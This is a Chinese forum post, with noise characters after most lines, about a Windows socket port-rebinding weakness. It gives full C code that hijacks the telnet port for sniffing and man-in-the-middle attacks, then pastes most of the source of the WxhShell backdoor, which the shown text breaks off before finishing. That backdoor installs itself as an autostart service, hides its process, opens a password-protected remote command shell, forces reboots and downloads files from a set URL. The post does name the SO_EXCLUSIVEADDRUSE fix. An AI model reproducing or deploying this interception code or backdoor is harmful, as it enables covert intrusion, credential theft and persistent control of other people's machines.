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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 71c(Nw~iQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,FK.8c6g  
;$g?W"  
  saddr.sin_family = AF_INET; 7_~_$I~g*  
 x-s\0l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T_ga?G<  
4Cp)!Bq?/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 34I;DUdcE  
g v7@4G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "]}?{2i;  
CE7{>pl  
  这意味着什么?意味着可以进行如下的攻击: #b@ sV$  
[e7nW9\l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8<=]4-X@  
IqCh4y3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]2rC n};  
6T6UIq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8|~M!<  
l9naqb:iP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nk"nSXm3SR  
'kHa_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q#lFt,.y  
Huc|HL#C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vx%!j&  
I_is3y0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q"u,r6ED  
7`SrqI&  
  #include +R',$YzD  
  #include v9 8s78  
  #include F./P,hhN9  
  #include    "h:#'y$V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hu 5o{8[  
  int main() ~_|CXPiQ8  
  { `k -|G2  
  WORD wVersionRequested; a,eEP43dn  
  DWORD ret; h|.{dv  
  WSADATA wsaData; a)' P/P  
  BOOL val; kd OIL2T  
  SOCKADDR_IN saddr; N>IkK*v  
  SOCKADDR_IN scaddr; BeFXC5-qat  
  int err; Xb.# =R  
  SOCKET s; Vo%DoZg  
  SOCKET sc; T/?C_i  
  int caddsize; 3il/{bgM  
  HANDLE mt; 0Om<+]).R  
  DWORD tid;   0,wmEV!)  
  wVersionRequested = MAKEWORD( 2, 2 ); X nB-1{a1  
  err = WSAStartup( wVersionRequested, &wsaData ); %FJB9?9=|  
  if ( err != 0 ) { I+rLKGZC  
  printf("error!WSAStartup failed!\n"); fv:&?gc  
  return -1; KeWIC,kq  
  } Ee^>Q*wahw  
  saddr.sin_family = AF_INET; zYEb#*Kar  
   x\!vr.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w0 1u~"E  
(^$SM uC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @@& ? ,3  
  saddr.sin_port = htons(23); ,"f2-KC4h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >2mV {i&  
  { yJ?= H H?  
  printf("error!socket failed!\n"); "\qm+g  
  return -1; ^TT_B AI  
  } S$qpClXS,  
  val = TRUE; O )INM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !H(V%B%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F6Q nz8|  
  { yc0_ 7Im?  
  printf("error!setsockopt failed!\n"); WQv`%%G2>  
  return -1; ^-,@D+eW  
  } Nc*z?0wP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YXIAVSnr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -o+; e3#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V82hk0*j  
V1\Rj0#G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s'$3bLcb  
  { O5ZR{f&  
  ret=GetLastError();  q{pa _  
  printf("error!bind failed!\n"); ldr~=<hsZ  
  return -1; G"U^ ]$(+K  
  } W_[ tdqey  
  listen(s,2); LzD,]{CC5  
  while(1) Bh7dAV(  
  { uHPd!# ]  
  caddsize = sizeof(scaddr); u2cDSRrqT  
  //接受连接请求 I[P_j`aE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C /w]B[H  
  if(sc!=INVALID_SOCKET) *#j_nNM4  
  { Z<`:xFy(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cQq78Lo  
  if(mt==NULL) #NWS)^&1b  
  { qsdgG1<  
  printf("Thread Creat Failed!\n"); |)%;B%  
  break; V(0V$&qipc  
  } N^zFKDJG  
  } > mEB,  
  CloseHandle(mt); vvF]g.,  
  } lMe+.P|  
  closesocket(s); S^nI=HTm  
  WSACleanup(); >~})O&t  
  return 0; Ly]J-BTe  
  }   WT:ZT$W  
  DWORD WINAPI ClientThread(LPVOID lpParam) :~'R|l  
  { {tUxRX  
  SOCKET ss = (SOCKET)lpParam; =$#=w?~%  
  SOCKET sc; rV B\\  
  unsigned char buf[4096]; N;* wd<  
  SOCKADDR_IN saddr; ->2m/d4a  
  long num; r?HbApV P  
  DWORD val; GxA[N  
  DWORD ret; QFIYnxY9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6b\JD.r*{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [n&SA]a  
  saddr.sin_family = AF_INET; :i* =s}cv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;-8]  
  saddr.sin_port = htons(23); $tDM U3,W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) | A# \5u  
  { Ym 1; /'  
  printf("error!socket failed!\n"); V:2{LR<R8  
  return -1; 3y yVI#  
  } C wwZ~2  
  val = 100; Z=s.`?Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]r>m{"~E  
  { I.kuYD62  
  ret = GetLastError(); Cps' l  
  return -1; N 'YzCq;M  
  } K6N+0#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1'b}Y 8YO  
  { WZcAwYB  
  ret = GetLastError(); !&R|P|7qN}  
  return -1; 8j}o\!H  
  } 4c@_u8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VCa`|S?2  
  { YD] :3!MI  
  printf("error!socket connect failed!\n"); ?%Gzd(YEY  
  closesocket(sc); uIR/^o  
  closesocket(ss); \  `|  
  return -1; r>J%Eu/O  
  } d?)Ic1][  
  while(1) nT=XWM  
  { ~xf uq{L;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KU;J2Kt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 83_vo0@<6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C9n*?Mk:  
  num = recv(ss,buf,4096,0); TsY nsLQY  
  if(num>0) EOo,olklC  
  send(sc,buf,num,0); oT"7O 5v  
  else if(num==0) .GIygU_  
  break; co{i~['u  
  num = recv(sc,buf,4096,0); `IJTO_  
  if(num>0) 6yd?xeD  
  send(ss,buf,num,0); =,Z5F`d4  
  else if(num==0) H Em XB=  
  break; EXti  
  } Ys8D|HIk  
  closesocket(ss); uLrZl0%HT~  
  closesocket(sc); >9t+lr1   
  return 0 ; c=33O,_  
  } Z5,"KhB]  
^tI4FQ>Y  
x]vyt}oCmk  
========================================================== e)aH7Jj#  
YqYobL*q/  
下边附上一个代码,,WXhSHELL 5W(`lgVs,  
&<t`EI];)4  
========================================================== E6#")2C~  
-=)+)9~G  
#include "stdafx.h" Q; BD|95nl  
p_CCKU  
#include <stdio.h> M2LW[z  
#include <string.h> SyI i*dH  
#include <windows.h> Nh1, w  
#include <winsock2.h> _^`TG]F  
#include <winsvc.h> %!]CP1S  
#include <urlmon.h> F{laA YE  
;n.SRy6  
#pragma comment (lib, "Ws2_32.lib") X 1}U  
#pragma comment (lib, "urlmon.lib") aEdc8i ?  
LknV47vd  
#define MAX_USER   100 // 最大客户端连接数 eOJ_L]y-  
#define BUF_SOCK   200 // sock buffer `bW0Va N  
#define KEY_BUFF   255 // 输入 buffer /@0  
<"nF`'olV  
#define REBOOT     0   // 重启 (>`S{L C>s  
#define SHUTDOWN   1   // 关机 %S<))G  
lhB;jE  
#define DEF_PORT   5000 // 监听端口 L[MAc](me-  
1aoKf F(  
#define REG_LEN     16   // 注册表键长度 x/IAc6H~_8  
#define SVC_LEN     80   // NT服务名长度 F **/T  
P7*?E*   
// 从dll定义API D:PrFa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M>u84|`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1HUe8m[#3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yXBWu=w3`O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RSIhZYA  
tD6ukK1x  
// wxhshell配置信息 yH]w(z5Z  
struct WSCFG { 8r48+_y3u  
  int ws_port;         // 监听端口 0r]-Ltvl?}  
  char ws_passstr[REG_LEN]; // 口令 0[ZwtfL1  
  int ws_autoins;       // 安装标记, 1=yes 0=no U\dLq&=V  
  char ws_regname[REG_LEN]; // 注册表键名 Ie4X k  
  char ws_svcname[REG_LEN]; // 服务名 bDnT><eH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `2n%Lo?_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !XO"lS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,$"T/yYer  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p?sFX$S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bRI`ZT0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q1Ehl S  
RU\MT'E>(  
}; ? J6\?ct4  
Qk].^'\  
// default Wxhshell configuration rDC=rG  
struct WSCFG wscfg={DEF_PORT, >g2Z t;*@w  
    "xuhuanlingzhe", Q'0:k{G  
    1, oPrK{flm  
    "Wxhshell", LT]YYn($  
    "Wxhshell", " l>tFa  
            "WxhShell Service", tW%!|T5/  
    "Wrsky Windows CmdShell Service", Os1=V  
    "Please Input Your Password: ", %QQJSake|  
  1, O@-(fyG  
  "http://www.wrsky.com/wxhshell.exe", \hZye20  
  "Wxhshell.exe" E|x t\ *  
    }; )No>Q :t  
7|X.E  
// 消息定义模块 4']eJ==OH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7&1 dr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l42tTD8Awz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \!zM4ppr  
char *msg_ws_ext="\n\rExit."; ^-%O  
char *msg_ws_end="\n\rQuit."; 8HL8)G6  
char *msg_ws_boot="\n\rReboot..."; tfPe-U  
char *msg_ws_poff="\n\rShutdown..."; 4AYW'j C  
char *msg_ws_down="\n\rSave to "; sNsWz.DLT#  
||'A9  
char *msg_ws_err="\n\rErr!"; GyGF<%nq  
char *msg_ws_ok="\n\rOK!"; VIuzBmR|\  
vd0uI#g%#  
char ExeFile[MAX_PATH]; .`/6[Zp  
int nUser = 0; c='uyx  
HANDLE handles[MAX_USER]; 2@:Ztt6~  
int OsIsNt; jB3Rue:+g  
SlD7 \X&~  
SERVICE_STATUS       serviceStatus; 1!A 'mkk8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fDKV`  
w %R=kY)o  
// 函数声明 %( #kJZ  
int Install(void); .]ZMxDZ  
int Uninstall(void); /v7o!D1G  
int DownloadFile(char *sURL, SOCKET wsh); J@o$V- KK  
int Boot(int flag); A<[BR*n  
void HideProc(void); 5XinZ~  
int GetOsVer(void); o| 9Mj71  
int Wxhshell(SOCKET wsl); i=\`f& B  
void TalkWithClient(void *cs); oTk?a!Q  
int CmdShell(SOCKET sock); 8 G:f[\^  
int StartFromService(void); O{wt0 \P  
int StartWxhshell(LPSTR lpCmdLine); 'h`)6{  
IV|})[n*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c:`CL<xzU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .CEl{fofj  
k .W1bF9n6  
// 数据结构和表定义 II{"6YI>  
SERVICE_TABLE_ENTRY DispatchTable[] = x k&# fW^r  
{ Rz=wInFs  
{wscfg.ws_svcname, NTServiceMain}, ilkN3J  
{NULL, NULL} ^) 5*?8#  
}; dd!Q[]$ }  
/`b`ai8`8  
// 自我安装 m-HBoN  
int Install(void) 7X/KQ97  
{ ZW`wA2R0   
  char svExeFile[MAX_PATH]; m&k l_f7  
  HKEY key; ~~{+?v6B]  
  strcpy(svExeFile,ExeFile); z{A~d  
@K}Bll.E  
// 如果是win9x系统,修改注册表设为自启动 '%KaAi$  
if(!OsIsNt) { 9&'HhJm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {hBnEj^@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PG3,MCf:  
  RegCloseKey(key); 'b Kc;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b^WF R   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kB]*2o9-3  
  RegCloseKey(key); b*<Fi#x1=  
  return 0; Aw=GvCo<  
    } 6}?5Oy_XF2  
  } P/T`q:<H   
} 3/EJ^C  
else { SVqKG+{My  
eOs4c`  
// 如果是NT以上系统,安装为系统服务 }/}eZCaG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y:,m(P  
if (schSCManager!=0) <E\vc6n  
{ nD#uOep9  
  SC_HANDLE schService = CreateService _TjRvILC  
  ( "~6IjW*/  
  schSCManager, RBV*e9P%  
  wscfg.ws_svcname, I4MZ JAYk  
  wscfg.ws_svcdisp, !'8jy_<9  
  SERVICE_ALL_ACCESS, :;N2hnHoG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .pPtBqp  
  SERVICE_AUTO_START, c!J|vRA5  
  SERVICE_ERROR_NORMAL, -Rj3cx  
  svExeFile, F tay8m@f  
  NULL, koy0A/\%  
  NULL, -5<G^AS  
  NULL, tiTh7qYi9  
  NULL, _t@9WA;+\  
  NULL aHBM9%gV  
  ); YAYwrKt  
  if (schService!=0) c->?'h23)  
  { M`QK{$1p  
  CloseServiceHandle(schService); ?xb2jZ/0X  
  CloseServiceHandle(schSCManager); tW"s^r=95  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @+; cFj  
  strcat(svExeFile,wscfg.ws_svcname); w! ':Ws  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pzcof#2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {/K!cPp9  
  RegCloseKey(key); #s|,o Im  
  return 0; lcuqzX{7  
    } `k~w 14~w  
  } ?/^{sW' |  
  CloseServiceHandle(schSCManager); )KcY<K  
} la 89>pF  
} # &Z1d(!  
c{wob%!>  
return 1; ?<D1] Xv  
} ky@DH(^>  
apv"s+  
// 自我卸载 E rnGX#@v  
int Uninstall(void) 4 |xQQv  
{ R6qC0@*  
  HKEY key; AqjEz+TVt  
s Vg89I&  
if(!OsIsNt) { ANXN.V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2>Sr04Pt  
  RegDeleteValue(key,wscfg.ws_regname); n-:n.JX  
  RegCloseKey(key); mZ4I}_\,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yvV]|B@sO  
  RegDeleteValue(key,wscfg.ws_regname); 1L<X+,]@  
  RegCloseKey(key); G33'Cgo:,  
  return 0; !E_RD,_  
  } }Fb966 $  
} E9:p A5H-j  
} yI8 /m|  
else { Tizjh&*^  
3Qu Ft~@@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yrV]I(Xe  
if (schSCManager!=0) 7:X@lmBz=  
{ Qd"u$~ qC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2hE+Om^n  
  if (schService!=0) Q7SRf$4  
  { XMm (D!6  
  if(DeleteService(schService)!=0) { vL~j6'  
  CloseServiceHandle(schService); +*KDtqZjk  
  CloseServiceHandle(schSCManager); S<"`9r)av  
  return 0; BnIZ+fg=  
  } +V/mV7FK  
  CloseServiceHandle(schService); }BLT2]y0  
  } .*+e?-  
  CloseServiceHandle(schSCManager); 2jH&@g$cl;  
} 9H,Ec,.  
} uU#e54^  
D]WU,a[$Bc  
return 1; q=_tjg  
} xI^nA2g  
z|sR `]K  
// 从指定url下载文件 Fn*)!,)  
int DownloadFile(char *sURL, SOCKET wsh) PZSi}j/  
{ 5vjtF4}7!  
  HRESULT hr; 19;F+%no#  
char seps[]= "/"; t$5)6zG  
char *token; D8wZC'7  
char *file; I>45xVA  
char myURL[MAX_PATH]; q?Av5TFf  
char myFILE[MAX_PATH]; 6Z68n  
d> L*2 g  
strcpy(myURL,sURL); }ygxmb^@Z  
  token=strtok(myURL,seps); I=o/1:[-  
  while(token!=NULL) L6"?p-:@'  
  { _dynqF8*  
    file=token; {ZD'l5jU  
  token=strtok(NULL,seps); iM{UB=C  
  } ~OOD#/  
v#Y9O6g]T  
GetCurrentDirectory(MAX_PATH,myFILE); r`!S*zK  
strcat(myFILE, "\\"); cS#m\O  
strcat(myFILE, file); AX2On}&bf  
  send(wsh,myFILE,strlen(myFILE),0); 9$e6?<`(Y  
send(wsh,"...",3,0); ]6TX)1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J)a^3>  
  if(hr==S_OK) /_CSRi&  
return 0; 7s.vJdA]6  
else i`HXBq!|w  
return 1; Pqb])-M9p  
rc)vVv  
} J-+p]xG  
/d]{ #,k  
// 系统电源模块 /2AeJH\-  
int Boot(int flag) Q>[GD(8k  
{ %2`geN<  
  HANDLE hToken; _0=$ 2Y^  
  TOKEN_PRIVILEGES tkp; Hp?uYih0  
8i'EO6  
  if(OsIsNt) { DJ<F8-sb2r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0FEn& \2<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _#rE6./@q  
    tkp.PrivilegeCount = 1; Y)OTvKrOA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LwS>jNJx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M>"J5yqR  
if(flag==REBOOT) { 8nOent0a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {\zB'SNq  
  return 0; 9Z;"9$+M  
} M8iI e:{ c  
else { Aq"<#:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) osW"b"_f  
  return 0; agMI$  
} ;,F:.<P  
  } 8lcB.M  
  else { '*,P33h9<!  
if(flag==REBOOT) {  -p2 =?a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f+j-M|A  
  return 0; (D rDWD4_  
} 3# r` e  
else { R=u!Rcv R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <zE~N~;  
  return 0; C'Z6l^{>  
} l Vc':,z  
} 0R[onPU_vZ  
)k'4]=d <  
return 1; @F,8M  
} E A}Vb(2  
b\H !\A  
// win9x进程隐藏模块 ThmN^N  
void HideProc(void) +_E 96`P  
{ tOf18V{a  
%K|+4ZY3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vaOCH*}h  
  if ( hKernel != NULL ) Ci?A4q$.  
  { bP 8O&R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T~(AXwaJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S6pvbaMZ  
    FreeLibrary(hKernel); ^RO_B}n3  
  } %V3xO%  
*{e?%!Q  
return; C.}Vm};M  
} }|!9aojr  
/~B \1  
// 获取操作系统版本 )/ 2J|LxS  
int GetOsVer(void) 2or!v^^u  
{ lf%Ju$H   
  OSVERSIONINFO winfo; |<Gq^3 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]v{TSP^/  
  GetVersionEx(&winfo); >[|Y$$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i4 Vv6Sx1  
  return 1; %~A$cc  
  else ;]+p>p-#  
  return 0; V]I+>Zn| 7  
} ??tNMr5{[  
K$(LiP  
// 客户端句柄模块 s@c.nT%BYL  
int Wxhshell(SOCKET wsl) ); <Le6  
{ fPLi8`r  
  SOCKET wsh; QN$Ac.F  
  struct sockaddr_in client; ]t|-  
  DWORD myID; xIh,UW#  
T nG=X:+=  
  while(nUser<MAX_USER) KeiPo KhZi  
{ K!a4>Du{  
  int nSize=sizeof(client); xp<p(y8e1d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DeTD.)pS  
  if(wsh==INVALID_SOCKET) return 1; &z"sT*3  
|w7D&p$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~'aK[3  
if(handles[nUser]==0) :P1/kYg  
  closesocket(wsh); ^w*$qzESy  
else Zc Y* TGx  
  nUser++; 21\t2<"  
  } !O-9W=NJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PC3-X['[  
-6./bB g  
  return 0; +W-,74A  
} hy?e?^  
-WX{ y Ci  
// 关闭 socket )Ap0" ?q  
void CloseIt(SOCKET wsh) sF=8E8qa   
{ GE0,d  
closesocket(wsh); etHkyF  
nUser--; A_vf3 *q  
ExitThread(0); x\m?*5p  
} r-+S^mOE]  
9/x_p;bI  
// 客户端请求句柄 N=X(G(  
void TalkWithClient(void *cs) eGJ}';O,g  
{ W7ffdODb  
7<ZCeM2x  
  SOCKET wsh=(SOCKET)cs; ;0!rq^JG  
  char pwd[SVC_LEN]; zu8l2(N  
  char cmd[KEY_BUFF]; cqyrao3;  
char chr[1]; )(&WhZc Z  
int i,j; yj+HU5L4  
9WH  
  while (nUser < MAX_USER) { )]?"H  
|{8eoF  
if(wscfg.ws_passstr) { LBkAi(0rd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vg+jF!\7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :)9 ^T<  
  //ZeroMemory(pwd,KEY_BUFF);  @aC2]  
      i=0; [x.Dw U%S  
  while(i<SVC_LEN) { &oyj8  
sb7~sa&-  
  // 设置超时 a.5^zq7#!  
  fd_set FdRead; ~YX!49XfHh  
  struct timeval TimeOut; &xGcxFd  
  FD_ZERO(&FdRead); Q41eYzAi  
  FD_SET(wsh,&FdRead); Nhm)bdv]  
  TimeOut.tv_sec=8; YdI&OzaroE  
  TimeOut.tv_usec=0; qU) pBA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q ]u*Oels  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #ir~v>J||  
j cT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v'QmuMWF  
  pwd=chr[0]; JTxHM?/G  
  if(chr[0]==0xd || chr[0]==0xa) { N){/#3  
  pwd=0; bz=B&YR  
  break; 8+irul{H_  
  } 5ma*&Q8+  
  i++; A]FjV~PB  
    } #q5 L4uM9  
@zHTKi`  
  // 如果是非法用户,关闭 socket ?l3PDorR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,X2CV INb}  
} ?_+h+{/@B  
3]iBX`Ni  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !PFc)J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #)r  
{J}Zv5  
while(1) { }gr6naz  
UUF;Q0X  
  ZeroMemory(cmd,KEY_BUFF); iw$n*1M  
;6?VkF  
      // 自动支持客户端 telnet标准   \R0&*cnmo  
  j=0; Y_}DF.>I P  
  while(j<KEY_BUFF) { 9Xu O\+z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *{y/wgX  
  cmd[j]=chr[0]; B-<H8[GkG1  
  if(chr[0]==0xa || chr[0]==0xd) { PJCRvs|X  
  cmd[j]=0; V_SZp8  
  break; i8tH0w/(M  
  } $g?`yE(K  
  j++; Xyrf$R'  
    } ^,$>z*WQ.  
7|"gMw/  
  // 下载文件 Psf'#4g  
  if(strstr(cmd,"http://")) { *c[X{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XSu9C zx&I  
  if(DownloadFile(cmd,wsh)) Wn9b</ tf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S$Cht6m  
  else &D|wc4+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16p$>a<6  
  } ^h:%%\2  
  else { B[]v[q<  
?G#T6$E8  
    switch(cmd[0]) { 5DHFxym'  
  /kAu&}  
  // 帮助 `qjiC>9  
  case '?': { pV3o\bk!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V ?10O  
    break; fFHT`"bD:  
  } ~;f,Ad`Q  
  // 安装 } h.]sF  
  case 'i': { fh1rmet&Ts  
    if(Install()) UY_'F5X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RSNukg  
    else d@:4se-q+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s5s'$|h"  
    break; Z"# /,?|3@  
    } 6+MZ39xC  
  // 卸载 gZFtV  
  case 'r': { H^N@fG<*dh  
    if(Uninstall()) bGl5=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IXmtjRv5  
    else H'L ~8>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )<D(Mb 2p|  
    break; r&G=}ZMO  
    } }#[MV+D  
  // 显示 wxhshell 所在路径 k0=$mmmPY  
  case 'p': { \&&jzU2  
    char svExeFile[MAX_PATH]; pN[G?A  
    strcpy(svExeFile,"\n\r"); Kh!h_  
      strcat(svExeFile,ExeFile); tr]=q9  
        send(wsh,svExeFile,strlen(svExeFile),0); YlZe  
    break; 3MR4yw5v  
    } LM*#DLadk  
  // 重启 _VeZ lk7 k  
  case 'b': { Kw%n;GFl'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8TK&i,  
    if(Boot(REBOOT)) u |h T1l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_5Nh^  
    else { .,C8ASfh  
    closesocket(wsh); ^cE|o&Rm;  
    ExitThread(0); y] Io`w(>  
    } 24TQl<H{  
    break;  $)5F3 a|  
    } L{hP&8$k  
  // 关机 K% ) K$/A  
  case 'd': { _?M71>3$.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s uT#k3  
